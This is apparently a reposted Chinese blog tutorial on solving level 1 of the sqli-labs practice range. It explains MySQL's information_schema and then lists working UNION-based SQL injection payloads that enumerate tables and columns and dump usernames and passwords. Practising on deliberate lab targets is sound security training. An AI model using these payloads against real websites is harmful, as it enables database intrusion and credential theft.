前言
我们在使用Sql-libs靶场进行Sql注入实验的时候,前提要求我们对mysql数据库结构要有一个大概的了解,因为mysql5.0以上的版本都会自带一个名为information_schema的数据库,这个数据库下面会有columns和tables两个表。
tables这个表的table_name字段下面包含了所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库,了解了这些后会对我们进行Sql注入的时候有很大的帮助。
一、Sql注入的原理是什么?
用户在访问web界面的时候,web步伐对用户所输入的数据的正当性没有进行判断大概过滤不严格,攻击者可以利用这个漏洞,在web步伐中将事先定义好的查询语句的末端上插入额外的Sql语句,在管理员不知情的情况下实现非法操作,以此来诱骗数据库并查询自己所必要的信息,比如:用户的暗码和账号等
二、Sql的注入过程
1.Sql-lis第一关
判断是否存在sql注入?
1.提示我们输入id,输入?id=1,在数据库中查询到如下字段
2.通过输入的id的值不同,我们发现返回的内容会不同
3.判断注入的类型,是否为拼接,而且是字符型照旧符号型
我们可以输入?id=1\,通过加 \ 的方式判断闭合,\后面的符号就是闭合符号,见页面出现错误,即位字符型
输入?id=1‘ 报错
在上述字段后加入–+,显示正常,分析是单引号 ’ 闭合
4.判断字段数
输入’ order by 3 --+,可见正常
输入’ order by 4–+ 报错,分析只有三个字段
5.联合查询7
因为字段数为3,所以使用 union select 1,2,3进行查询 ,判断回显点
我们可以将上述语句的2大概3改成database()来显示数据库名
6.联表查询,爆表名
- union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
复制代码
7.爆字段名
- union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
复制代码
8.爆字段中的内容
根据上一步爆出的字段名usernmae,password进行查询即可
- union select 1,2,group_concat(username,password) from users
复制代码
至此第一关就竣事了,第二关与第一关的步骤雷同,不同的是第二关是数字型注入
总结
- Sql注入要求我们对数据库的结构要有一个大概的了解,这要就能更容易去操作!!!
复制代码 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |